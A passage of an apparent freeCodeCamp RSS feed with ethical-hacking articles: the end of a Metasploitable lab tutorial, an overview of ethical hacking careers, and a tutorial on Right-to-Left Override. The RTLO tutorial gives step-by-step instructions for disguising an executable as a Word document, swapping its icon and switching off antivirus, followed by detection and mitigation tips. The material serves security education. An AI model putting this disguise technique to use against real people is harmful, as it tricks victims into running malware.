<ul>
<li><strong>NAT:</strong> Shares host network, provides internet access to VM.</li>
<li><strong>Bridged Adapter:</strong> VM connects directly to the physical network.</li>
<li><strong>Internal Network:</strong> Isolated network for VMs on the same host.</li>
<li><strong>Host-Only Adapter:</strong> VMs communicate with host and among themselves.</li>
<li><strong>Generic Driver:</strong> Allows using custom, non-standard network drivers.</li>
<li><strong>NAT Network:</strong> Similar to NAT but allows defining network properties.</li>
<li><strong>Cloud Network:</strong> Experimental feature for cloud-based networking.</li>
<li><strong>Not Attached:</strong> No network connection for the virtual machine.</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>And now, let’s summarize what you’ve learned in this tutorial:</p>
<ol>
<li>What a Virtual Machine is and how it works</li>
<li>What Metasploitable is</li>
<li>How to install Metasploitable and any other VM</li>
<li>What different network adapters do in VirtualBox</li>
</ol>
<p>Playing with Metasploitable is a great way to practice offensive cybersecurity skills and the defensive if you want to try and patch it up. <a target="_blank" href="https://www.vulnhub.com">Vulnhub</a> is a great place to download more virtual machines if you want to move beyond Metasploitable.</p>
<p>You could also use platforms like <a target="_blank" href="https://tryhackme.com/">TryHackMe</a> and <a target="_blank" href="https://www.hackthebox.com">HackTheBox</a> which are gamified and make things more fun if you want something a little different.</p>
<p>Good luck and Happy Hacking 🙃</p>
<h2 id="heading-resources">Resources</h2>
<ol>
<li><a target="_blank" href="https://cysed.org">Learn more about Cybersecurity in Africa</a></li>
<li><a target="_blank" href="https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/">The Metasploitable Exploitability Guide from Rapid7</a></li>
</ol>
<h2 id="heading-acknowledgements">Acknowledgements</h2>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/a-n-u-o/">Anuoluwapo Victor</a>, <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/favour-ojo-906883199/">Favour Ojo</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used to put this post together. You’re all amazing.</p>
<p>Cover image credit: <a target="_blank" href="https://www.pexels.com/@googledeepmind/">Google DeepMind</a></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is Ethical Hacking? A Cybersecurity Definition of Ethical Hackers ]]>
                </title>
                <description>
                    <![CDATA[ As technology continues to advance, cyber-threats are becoming the norm. Cyber-criminals are constantly trying to find ways to exploit systems and networks, all with the purpose of stealing sensitive information or causing damage.  These challenges i... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-ethical-hacking/</link>
                <guid isPermaLink="false">66b8dc1ab448790656a32e79</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Hillary Nyakundi ]]>
                </dc:creator>
                <pubDate>Tue, 09 May 2023 00:06:39 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/05/Opensource--1-.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>As technology continues to advance, cyber-threats are becoming the norm. Cyber-criminals are constantly trying to find ways to exploit systems and networks, all with the purpose of stealing sensitive information or causing damage. </p>
<p>These challenges in the tech space have led to the emergence of the term ethical hacking. The purpose of this field is to do what the cybercriminals are doing, but this time around with good intentions with the goal to stop the criminal acts. </p>
<p>Ethical hacking primarily involves identifying and fixing weaknesses to prevent cyber attacks and protect infrastructure.</p>
<h2 id="heading-a-little-background">A Little Background</h2>
<p>I don't know about you, but my journey into tech was inspired by the term "hacker". I know what you are thinking, but hear me out. </p>
<p>I grew up in an environment where the internet and access to technology were limited, and just like any other kid my career options were limited to the most glorified paths in a common African household, that is: Doctor, Engineer, Pilot, etc... ask any kid from an African household, and I bet these are the paths their parents wanted them to pursue.</p>
<p>But this ideology was changed by two things: my love for movies and my neighbor's computer. I would spend most of my time watching movies at my friend's place and I would take note of specific things, like how technology played a role in outsmarting the bad guys. This concept would later on push me to venture into the tech. </p>
<p>My interest in cybersecurity, on the other hand, was inspired by watching my friends play games. Remember the old-day fun games like GTA, Mortal Kombat, and Roadrash? Yep, those games. One thing that was common in these games was that they all had cheat codes that would help you cheat through a mission. </p>
<p>I wanted to learn more about how this was possible. But whenever I asked, the response I got was, "The game is hacked that's why we are able to cheat and finish quickly". </p>
<p>Now I hope you understand why I said the term hacker inspired me. Basically at first, I wanted to venture into the field to learn how to hack my way through games. But with more research and learning, my understanding of the term changed quite a bit.</p>
<p>And that's what we will be discussing in this article: A cybersecurity definition of what it means to be an Ethical Hacker and its importance. </p>
<p>We'll also take a look at the different types of ethical hacking, the roles of an ethical hacker, the skills they need, the challenges they face in the field, and what exactly you should learn to pursue a successful career in this cybersecurity. </p>
<p>By the end of this article, you should have a clear understanding of what exactly ethical hacking is all about and how you can use it to protect not only yourself but also your family, friends, and organization from cyber threats.</p>
<p>Let's get started!</p>
<h2 id="heading-what-is-hacking">What is Hacking?</h2>
<p>Before we define the term Ethical Hacking, we first need to understand what we mean by the term hacking. Hacking has been in existence since the early days of computer development. The only difference is that back in the day, hacking was done as a way to help people learn how computers functioned and what they machines could do.</p>
<p>Now, as technology continued to evolve, the experimentation that was meant for learning and understanding purposes evolved too. It gave rise to people exploiting the systems for their personal gain. This is where the common definition of the term Hacking comes from. </p>
<p>For simplicity, I would describe "hacking" as the illegal process of gaining access/breaking into a computer system or network without the owner's permission for personal gain. </p>
<h3 id="heading-different-types-of-hackers">Different Types of Hackers</h3>
<p>We have different types of hackers, and they include:</p>
<ul>
<li><p>Black Hat Hackers - They break into a system without the owner's permission for personal gain or malicious intent.</p>
</li>
<li><p>Gray Hat Hackers - They break into a computer system/network without the owner's permission but they don't mean any harm. They may choose to inform the owner of the vulnerabilities or even use the skills for personal gain.</p>
</li>
<li><p>Script Kiddie - Also known as Amateurs. They are attackers with little or no hacking skills They mostly rely on existing tools and available online instructions and scripts to launch an attack. It's worth noting as most of them are not aware of what they are doing, their acts may result in devastating results.</p>
</li>
<li><p>Organized Hackers - Also known as hacker groups or hacker collectives. These hackers are a group of individuals who work together to conduct an attack against a specific target to achieve a common goal. These groups can be categorized into a few categories:
  – Cybercriminals
  – Hacktivists
  – State-sponsored hackers</p>
</li>
</ul>
<p>The most commonly known of these groups include Anonymous, Lizard Squad, and APT groups. It's important to note that these groups are illegal and their acts may cause serious harm to individuals, organizations, and governments.</p>
<ul>
<li>White Hat Hackers - Also known as Ethical Hackers. They break into a system with the owner's permission. Their main task is to identify vulnerabilities and fix them to avoid exploitation from the outside. We'll learn more about them in the coming sections.</li>
</ul>
<h2 id="heading-what-is-ethical-hacking">What is Ethical Hacking?</h2>
<p>To counter these malicious practices, organizations and governments realized the need for security professionals whose sole purpose was to protect the systems from unauthorized access. Their roles also included testing the systems to ensure they were safe. </p>
<p>That's how the term ethical hacking came into existence. And from there people started pursuing it as a career.</p>
<p>With this brief explanation, we can define Ethical hacking as breaking into a computer system/network with the permission of the system/network owner with the sole purpose of identifying weaknesses that might be exploited or used for malicious intentions. </p>
<p>The main goal of ethical hacking is to identify potential security threats and fix them before they can be used for malicious acts. Ethical hacking also involves "penetration testing" or "pen testing". People who practice it are known as Ethical Hackers or White hat hackers. </p>
<h3 id="heading-different-types-of-ethical-hacking">Different Types of Ethical Hacking</h3>
<p>We do have different types of ethical hacking, and the most common ones include: </p>
<ul>
<li>Network hacking - This type of attack involves testing the security of an organization's infrastructure, firewalls, and other networking devices. </li>
<li>Web application hacking - Involves testing for vulnerabilities in an organization's web applications such as e-commerce sites, online banking platforms, and other web-based services.</li>
<li>Social engineering - Involves testing how likely it is that employees will fall for phishing attacks and other social engineering techniques.</li>
<li>Wireless hacking - Involves testing the wireless security of organizations and how likely it is to be the point of attack.</li>
<li>Physical penetration testing - Involves testing the organization's physical premises security including data centers and other facilities.</li>
</ul>
<h2 id="heading-role-of-an-ethical-hacker">Role of an Ethical Hacker</h2>
<p>Being an ehthical hacker involves many tasks. But their primary role is to help identify vulnerabilities in the system before they are exploited by malicious hackers. By doing this, the affected parties are able to improve security and prevent any form of cyber attack. </p>
<p>In addition to this, other tasks include: </p>
<ul>
<li>Vulnerability assessment</li>
<li>Enhance security awareness in their respective organization</li>
<li>Ensure compliance with the industry regulation and standards</li>
<li>Security research and development</li>
<li>Ensure there is minimal risk of data breaches and other security incidents.</li>
<li>Training and education - ethical hackers spend better part of their time creating awareness about cybersecurity and how to prevent the attacks.</li>
</ul>
<h2 id="heading-benefits-of-ethical-hacking">Benefits of Ethical Hacking</h2>
<p>Ethical Hacking plays a crucial role in preventing cyber attacks. The main idea behind this is to use the same tools and techniques used by attackers to identify vulnerabilities. The good thing is that it has proven to play a major role in many organizations in a positive way. </p>
<p>In addition to helping identify vulnerabilities and helping organizations improve their security, ethical hacking can provide a wide range of benefits including:</p>
<ul>
<li>Mitigating risks - this can help prevent data breaches, cyber attacks and other security incidents.</li>
<li>Cost effective - ethical hacking is a cost effective way for an organization to test their security systems.</li>
<li>Compliance - ethical hacking can help an organization ensure that they meet the required compliance requirements and avoid costly penalties. </li>
<li>Continuous Improvement - ethical hacking is not a one time process. It's an evolving field, meaning there will be new risks each day. Having an ethical hacker in place can help ensure security is up to date with the latest technologies. </li>
</ul>
<h2 id="heading-challenges-of-ethical-hacking">Challenges of Ethical Hacking</h2>
<p>Just like any other career, the ethical hacking field has some challenges too. These challenges can range from legal and ethical to technical issues, which from time to time need to be addressed to ensure success in the testing and the work itself. </p>
<p>The most common problem that faces many people is how to correctly navigate the legal and ethical considerations around the field. As much as ethical hacking is legal in many countries, it is still important to ensure that everything is done within the bounds of the law. You have to be extra careful not to fall on the wrong side of the law. </p>
<p>In addition to adhering to specific countries' laws, ethical hackers should also adhere to strict ethical standards, which regulate and ensure their activities do not cause any harm. </p>
<p>Another common challenge is obtaining the proper authorizations and credentials to conduct the testing. As much as we live in a free world, you just can't decide to perform an ethical test because you have the skills. You need to have written consent showing that you have permission to conduct the test. </p>
<p>Having credentials like certificates can also help during job hunting. But this comes as a challenge to those who can't afford to pay for such certifications.</p>
<p>Speaking of technical challenges, the primary technical challenge that most ethical hackers face is identifying vulnerabilities in complex systems. If you want to be an efficient ethical hacker, you must be proficient in various technologies including programming languages, security tools, and so on. This enables you to have a strong understanding of the network architecture and protocols making it easy to find vulnerabilities.</p>
<p>Prioritizing can also be a big challenge at some point. In a scenario where there are many vulnerabilities within a system, since all may pose a serious threat, it may be a challenge for the ethical hacker to prioritize which needs to be tended to first.</p>
<h2 id="heading-ethical-hacking-certifications-and-training">Ethical Hacking Certifications and Training</h2>
<p>In order for one to become an ethical hacker, having a solid understanding of computer systems, networks, and programming languages is essential. The good thing is that you can gain these skills through formal education, practical experience, online certifications, training, and so on.</p>
<p>The most preferred method by many employers is going through certifications from recognized bodies. In this industry, there are multiple certificates and learning resources, so if you are looking at where to get started you might want to try out these platforms for both certificates and knowledge.  </p>
<p><strong>Learning platforms</strong> </p>
<ul>
<li><a target="_blank" href="https://www.cybrary.it/">Cybrary</a></li>
<li><a target="_blank" href="https://www.hackthebox.com/">HackTheBox</a></li>
<li><a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/">Metasploit Unleashed</a></li>
<li><a target="_blank" href="https://www.sans.org/emea/">SANS Institute</a></li>
<li><a target="_blank" href="https://www.offsec.com/">Offensive Security</a></li>
<li><a target="_blank" href="https://www.hackthissite.org/">HackThisSite</a></li>
<li><a target="_blank" href="https://tryhackme.com/">TryHackMe</a></li>
<li><a target="_blank" href="https://www.eccouncil.org/">EC-Council</a></li>
</ul>
<p><strong>YouTube Channels</strong></p>
<ul>
<li><a target="_blank" href="https://www.youtube.com/@HackerSploit/videos">HackerSploit</a></li>
<li><a target="_blank" href="https://www.youtube.com/@TCMSecurityAcademy/videos">The Cyber Mentor</a></li>
<li><a target="_blank" href="https://www.youtube.com/@_JohnHammond/videos">John Hammond</a></li>
<li><a target="_blank" href="https://www.youtube.com/@LiveOverflow/videos">LiveOverflow</a></li>
<li><a target="_blank" href="https://www.youtube.com/@NullByteWHT/featured">Null Byte</a></li>
</ul>
<p><strong>Practice platforms</strong></p>
<ul>
<li><a target="_blank" href="https://www.uscyberpatriot.org/">CyberPatriot</a></li>
<li><a target="_blank" href="https://nationalcyberleague.org/">National Cyber League</a></li>
<li><a target="_blank" href="https://ctftime.org/">Capture the Flag (CTF)</a></li>
<li><a target="_blank" href="https://www.hackthebox.com/">HackTheBox</a></li>
<li><a target="_blank" href="https://defcon.org/html/links/dc-ctf.html">DEF CON CTF</a></li>
<li><a target="_blank" href="https://www.cyber-fasttrack.org/">Cyber FastTrack</a></li>
<li><a target="_blank" href="https://bsidescyber.com/ctf/">BSides CTF</a></li>
</ul>
<p><strong>Certifications</strong> </p>
<ul>
<li><a target="_blank" href="https://www.eccouncil.org/">International Council of Electronic Commerce Consultants (EC-Council)</a> - offers certifications such as Certified Ethical Hacker (CEH), Certified Network Defender (CND), and Certified Chief Information Security Officer (CCISO). </li>
<li><a target="_blank" href="https://www.offsec.com/">Offensive Security</a> - offers certifications such as Offensive Security Certified Professional (OSCP) and Offensive Security Wireless Professional (OSWP). </li>
<li><a target="_blank" href="https://www.isc2.org/">International Information System Security Certification Consortium (ISC)²</a> - offers certifications such as Certified Information Systems Security Professional (CISSP), Certified Cloud Security Professional (CCSP), and Systems Security Certified Practitioner (SSCP). </li>
<li><a target="_blank" href="https://www.giac.org/">Global Information Assurance Certification (GIAC)</a> - offers certifications such as GIAC Penetration Tester (GPEN), GIAC Certified Incident Handler (GCIH), and GIAC Certified Forensic Analyst (GCFA). </li>
<li><a target="_blank" href="https://www.comptia.org/">CompTIA</a> - offers certifications such as CompTIA Security+, CompTIA Cybersecurity Analyst (CySA+), and CompTIA Advanced Security Practitioner (CASP+). </li>
<li><a target="_blank" href="https://www.cisco.com/">Cisco</a> - offers certifications such as Cisco Certified Network Associate Security (CCNA Security), Cisco Certified Network Professional Security (CCNP Security), and Cisco Certified CyberOps Associate.</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>As tech continues to evolve so do the cyber threats. This means that organizations must invest in cybersecurity strategies to help prevent any form of exploitation. After all, prevention is better than cure. Taking early measures might come in handy along the way, saving you more than you can imagine. </p>
<p>Given the importance of ethical hacking in ensuring security, we should all take it very seriously. This involves using secure networks and encrypted networks, enabling advanced layers of protection like 2FA and MFA, investing in qualified security personnel, and constantly creating awareness amongst employees and communities at large. </p>
<p>By following these steps we will be able to improve on our security and protect our sensitive data, minimizing the risk of being victims of cyber attacks.</p>
<p>Keep Safe 🛡️.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is RTLO in Hacking? How to Use Right-to-Left Override and Defend Against it ]]>
                </title>
                <description>
                    <![CDATA[ Let’s play a lovely game of hide your malware in plain sight. 🐴 Malicious hackers look for all kinds of underhanded tricks to make everyday users victims as a result of common mistakes. They might get someone to click the wrong link, open the wrong ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/rtlo-in-hacking/</link>
                <guid isPermaLink="false">66bb90217a6500a14ba5b786</guid>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Daniel Iwugo ]]>
                </dc:creator>
                <pubDate>Tue, 28 Feb 2023 00:36:36 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/02/image-249-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Let’s play a lovely game of hide your malware in plain sight. 🐴</p>
<p>Malicious hackers look for all kinds of underhanded tricks to make everyday users victims as a result of common mistakes. They might get someone to click the wrong link, open the wrong website, or execute the wrong program.</p>
<p>Most times, it’s easy to identify a suspicious file by the following:</p>
<ol>
<li>The icon does not match the name</li>
<li>The extension seems incorrect</li>
<li>The file is noticeably bigger or smaller than its proposed file type (Imagine an image of 50mb 🤯)</li>
</ol>
<p>But would you be suspicious of a file like this?</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-248.png" alt="image-248" width="600" height="400" loading="lazy">
<em>A totally non-suspicious file | Credit: Mercury</em></p>
<p>Nothing out of the ordinary right? Seems like your average word document. Let’s take a closer look at things.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-250.png" alt="image-250" width="600" height="400" loading="lazy">
<em>Properties of the file | Credit: Mercury</em></p>
<p>In this tutorial, you’ll learn:</p>
<ol>
<li>What Right-To-Left Override is</li>
<li>How to use it to hide file extensions</li>
<li>How to detect if it was used on a file</li>
<li>Mitigations</li>
</ol>
<p><strong>Friendly Disclaimer</strong>: This is simply for educational purposes only and is written solely to protect individuals, businesses, and organisations from threat actors. If you still wish to use this in any other way, that's your choice...just get ready for a lovely trip to jail…for a long time. 🙂</p>
<p>And with that intro, let’s jump in 🙃</p>
<h2 id="heading-what-is-right-to-left-override"><strong>What is Right-To-Left Override?</strong></h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-252.png" alt="image-252" width="600" height="400" loading="lazy">
<em>When nothing goes right, go left | Credit: [Wallpaperflare.com](http://wallpaperflare.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-size: 17.6px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;)</em></p>
<p>Right-To-Left Override (RTO or RTLO) is a Unicode non-printing character used to write languages read in the right-to-left manner. It takes the input and literally just flips the text the other way round. Such languages include Hebrew, Arabic, Aramaic, and Urdu.</p>
<p>You can find the character in the character map in both Windows and Linux using the code [202E].</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-253.png" alt="image-253" width="600" height="400" loading="lazy">
<em>Character map | Credit: Mercury</em></p>
<p>Below is a demonstration of how it is used:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/4.2---RTLO-demonstration.gif" alt="image-254" width="600" height="400" loading="lazy">
<em>RTLO Demonstration | Credit: Mercury</em></p>
<p>As you may see, the two statements typed are the exact same thing, except that the one below is written in the inverse because the RTLO character was inserted before typing it.</p>
<h2 id="heading-how-rtlo-can-be-a-malicious-tool"><strong>How RTLO Can Be a Malicious Tool</strong></h2>
<p>Perhaps at first glance this character looks innocent enough. What’s the harm in flipping some text anyway? The answer: File extensions.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-255.png" alt="image-255" width="600" height="400" loading="lazy">
<em>A Chrome installer as an installer and word document | Credit: Mercury</em></p>
<p>Below are some hacks carried out in the past using this technique:</p>
<ol>
<li><strong>Telegram</strong>: In 2018, Kaspersky reported in <a target="_blank" href="https://securelist.com/zero-day-vulnerability-in-telegram/83800/">a blogpost on Securelist</a> that Russian cybercriminals exploited RTLO gaps in the wild on Telegram Windows Clients. As demonstrated in the article, this allowed the criminals to install cryptominers or RATs when a user opened what seemed to be a harmless file ⛏️.</li>
<li><strong>Scarlet Mimic</strong>: In 2016, Unit 42 from Palo Alto Networks released a report on the tactics of a threat group known as Scarlet Mimic. The group is commonly known for targeting minority activists. According to <a target="_blank" href="https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/">the report</a>, one of the groups common tactics included using RTLO characters to mask the actual file extensions of self-extracting archives (SFX/SEA)🎭.</li>
<li><strong>Famous Messaging apps</strong>: In 2022, Bleeping computer released a <a target="_blank" href="https://www.bleepingcomputer.com/news/security/url-rendering-trick-enabled-whatsapp-signal-imessage-phishing/">news article</a> about phishing techniques on messaging and email platforms using RTLO. Platforms such as iMessage, WhatsApp, Signal, and Facebook Messenger (I wonder who uses the last one 🤨) were vulnerable to such tactics. It allowed an attacker to inject an RTLO character in between two links. On the left was a legitimate domain such as (<a target="_blank" href="http://google.com/">google.com</a>) and on the right was a malicious one. This made it appear as one link and if a user clicked on the left side, they were safe. However, if they clicked on the right side, they were not.</li>
<li><strong>PLEAD</strong>: In 2017, Trend Micro released <a target="_blank" href="https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html">an article</a> on three campaigns performed by a threat group known as BlackTech. One of these campaigns was named PLEAD, which focused on information theft and was targeted at the Taiwanese government and organisations. According to the article, spear-phishing emails were used to deliver and install a backdoor. The notable part of this attack was that the installers where disguised as documents using RTLO characters and decoy documents were also added to trick users 📄.</li>
<li><strong>Apple’s OS X</strong>: Despite being common in Windows, this technique could be used to target Mac users. In 2013, <a target="_blank" href="https://archive.f-secure.com/weblog/archives/00002576.html">a blogpost</a> by F-Secure Labs revealed that RTLO was used to disguise a relatively mild Mac malware in the wild. However, the malware screams ‘I’m a virus!’ due to the fact that OS X shows the real file extension and when run, the file quarantine notification is written backwards (Nice one Apple 😉🍎).</li>
</ol>
<h2 id="heading-how-to-hide-a-potentially-malicious-file"><strong>How to Hide a Potentially Malicious File</strong></h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-256.png" alt="image-256" width="600" height="400" loading="lazy">
<em>A Guy Fawkes Mask | Credit: [Wallpaperflare.com](http://wallpaperflare.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-size: 17.6px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;)</em></p>
<p>RTLO can be used in any attack that leverages tricking the user about written text. As we saw in the above hacks, links, email attachments and executable scripts and files are the most common attack vectors.</p>
<p>But this tutorial will focus on locally hosted files because it gives the basic idea and its variations can be used to carry out other attacks.</p>
<p>There are two steps to the process:</p>
<ol>
<li>Insert the RTLO character in the file name</li>
<li>Change the file icon</li>
</ol>
<p>The file icon needs to be changed to mimic the fake extension to make it easier to trick a user.</p>
<p>Below are the prerequisites for the procedure:</p>
<ol>
<li>An executable or script – The payload</li>
<li>A file icon – Part of the bait</li>
<li>Resource hacker – To change the file icon</li>
</ol>
<p>The file icon could be in .exe, .dll, .res, or .ico format. You can download some from <a target="_blank" href="https://icon-icons.com/">here</a>. And now, let the chaos begin ⚠️.</p>
<h3 id="heading-step-1-insert-the-rtlo-character"><strong>Step 1 – Insert the RTLO character</strong></h3>
<p>Choose a file of your liking and open it in Windows Explorer. Open the Character Map app on Windows and check the ‘Advanced View’ box. In the ‘Go to Unicode’ option, type in 202E. Hit the ‘Select’ and ‘Copy’ buttons respectively and go to the file you want to modify.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/6---RTLO-demonstration.gif" alt="image-257" width="600" height="400" loading="lazy">
<em>Selecting the Right-To-Left Override Character | Credit: Mercury</em></p>
<p>Here is the tricky part 🎃. When typing with the RTLO character, it types from right-to-left. This can be confusing when trying to rename the file. If you want to rename a file after injecting the character, spell it backwards.</p>
<p>For example, if you want to write the extension ‘.pdf’, you have to type it as ‘fdp.’ It takes some time getting used to but it's easy after a few tries.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/7---RTLO-demonstration.gif" alt="image-258" width="600" height="400" loading="lazy">
<em>Short renaming demonstration | Credit: Mercury</em></p>
<p>In File Explorer, check the option to show file extensions. Go to the file, right-click and hit rename. Change the name to whatever you want but make sure not to ever edit the extension itself so the file works as intended❗.</p>
<p>Set the cursor just before the extension name. Paste the RTLO character. You will observe it seems like nothing happened but that’s how it is supposed to look. Next type in ‘xcod’ to get ‘docx’ and hit enter.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/8---Gif-of-renaming.gif" alt="image-259" width="600" height="400" loading="lazy">
<em>Renaming the target file | Credit: Mercury</em></p>
<h3 id="heading-step-2-change-the-icon"><strong>Step 2 – Change the Icon</strong></h3>
<p>Now for the final part of our amazing trick – changing the icon 🪄. Download and install a software called resource hacker. Open it and hit Ctrl + O. Next, select your target program. There’s a lot of information here that we can edit, but we just want to focus on the icon.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-260.png" alt="image-260" width="600" height="400" loading="lazy">
<em>Resource Hacker | Credit: Mercury</em></p>
<p>Hit Ctrl+R to open the replace window and click on the ‘Open file with new icon’ button.</p>
<p>In the Explorer, select the file icon you wish to replace on the program and hit the ‘Replace’ button.</p>
<p>Lastly, hit Ctrl+S to save the file. If you have an Antivirus, you might want to temporarily switch it off before saving the file.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Untitled.gif" alt="image-261" width="600" height="400" loading="lazy">
<em>Using Resource Hacker to change the icon | Credit: Mercury</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-262.png" alt="image-262" width="600" height="400" loading="lazy">
<em>A totally non-suspicious file | Credit: Mercury</em></p>
<p>Neat, isn’t it? Let’s look at how to avoid falling for this trick.</p>
<h2 id="heading-mitigations"><strong>Mitigations</strong></h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-263.png" alt="image-263" width="600" height="400" loading="lazy">
<em>Online Security | Credit: [Wallpaperflare.com](http://wallpaperflare.com/" style="box-sizing: inherit; margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; font-family: inherit; font-size: 17.6px; vertical-align: baseline; background-color: transparent; color: var(--gray90); text-decoration: underline; cursor: pointer; word-break: break-word;)</em></p>
<p>Since it abuses system features, almost any regular user or tech geek would fall for this hack. So how can you avoid it? Here are some tips:</p>
<h3 id="heading-never-open-a-file-or-link-of-unknown-origin"><strong>Never open a file or link of unknown origin</strong></h3>
<p>Never underestimate the power of basic cyber hygiene. Don’t click random links, or open files that you have no clue where they came from or who sent them.</p>
<h3 id="heading-set-file-extensions-to-be-shown"><strong>Set file extensions to be shown</strong></h3>
<p>A file name that hides its extension is much more easily noticed to be fishy when file extensions are on.</p>
<p>Be cautious if you notice that just before the extension, the file ends with common file extensions written backwards. For example, ‘infoexe.pdf’ will be obvious. However, some are less obvious like ‘infosbv.png' which could be a Visual Basic script (.vbs). A file named ‘Samsung_Galaxy_tab.png’ could be a batch file (.bat).</p>
<h3 id="heading-install-and-keep-antivirus-software-up-to-date"><strong>Install and keep Antivirus software up to date</strong></h3>
<p>In case you have fallen for such, this could be your last line of defense. An appropriate antivirus will take note if a script or executable file with malicious actions has been executed and will quarantine or delete it.</p>
<p>I mean, a $20 yearly subscription sounds better than over $200 down the drain for nothing 💀.</p>
<h3 id="heading-apply-best-practices"><strong>Apply best practices</strong></h3>
<p>For the more sophisticated IT people in organisations, implementation of best practices such as Network traffic analysis, firewalls, use of intrusion detection and prevention systems and network segmentation are your best bet.</p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Let’s summarise what you’ve learned:</p>
<ol>
<li>How to use RTLO characters to manipulate text</li>
<li>How to change application icons using Resource Hacker</li>
<li>How to identify text manipulated with RTLO characters</li>
</ol>
<p>Initially it’s hard to identify files modified like this. I encourage you to play around with different file names and extensions and see what you get. This will also train you to identify files that are not what they seem.</p>
<p>Remember, <strong>this is strictly for educational purposes</strong>. And with that, we have come to the end of this article. As I always say, Happy Hacking! 🙃</p>
<h2 id="heading-resources"><strong>Resources</strong></h2>
<ol>
<li><a target="_blank" href="https://www.wikihow.com/Change-the-Icon-for-an-Exe-File">Other ways to change an app icon</a></li>
<li><a target="_blank" href="http://blog.sevagas.com/?Bypass-Defender-and-other-thoughts-on-Unicode-RTLO-attacks">More ways to use RTLO</a></li>
</ol>
<h2 id="heading-acknowledgements"><strong>Acknowledgements</strong></h2>
<p>Thanks to <a target="_blank" href="https://twitter.com/Anuoluwap__o?t=4Cv6VR2c2_wK5HLXwbvXCQ&amp;s=09">Anuoluwapo Victor</a>, <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/favour-ojo-906883199/">Favour Ojo</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used to put this post together. You all inspire me daily.</p>
<p>Cover image credit: The Kelpies | Jamie McInall</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Become an Ethical Hacker — A Step-by-Step Guide ]]>
                </title>
                <description>
                    <![CDATA[ Have you wondered what it takes to be an ethical hacker? Ethical hacking is also known as “white hat” hacking or pentesting. It is the practice of using hacking techniques and tools to test the security of a computer system. The goal of an ethical ha... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-become-an-ethical-hacker/</link>
                <guid isPermaLink="false">66d035d612c679876b0602db</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 16 Jan 2023 14:00:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/01/hacker-image.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Have you wondered what it takes to be an ethical hacker?</p>
